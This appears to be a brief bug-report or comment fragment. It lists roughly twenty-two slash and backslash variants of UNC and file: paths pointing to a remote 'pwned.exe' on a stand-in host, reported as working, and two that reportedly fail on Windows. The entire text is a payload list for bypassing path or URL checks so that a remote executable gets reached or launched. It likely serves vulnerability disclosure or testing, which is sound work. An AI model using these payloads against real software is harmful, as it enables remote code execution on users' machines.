These all work:

\\example.com\pwned.exe
\/example.com\pwned.exe
file://example.com\pwned.exe
file:/\example.com\pwned.exe
file:\/example.com\pwned.exe
file:\\example.com\pwned.exe
file:////example.com\pwned.exe
file:///\example.com\pwned.exe
file://\/example.com\pwned.exe
file://\\example.com\pwned.exe
file:/\//example.com\pwned.exe
file:/\/\example.com\pwned.exe
file:/\\/example.com\pwned.exe
file:/\\\example.com\pwned.exe
file:\///example.com\pwned.exe
file:\//\example.com\pwned.exe
file:\/\/example.com\pwned.exe
file:\/\\example.com\pwned.exe
file:\\//example.com\pwned.exe
file:\\/\example.com\pwned.exe
file:\\\/example.com\pwned.exe
file:\\\\example.com\pwned.exe

These don't, presumably because windows treats the leading / as meaning it comes from the local filesystem:

//example.com\pwned.exe
/\example.com\pwned.exe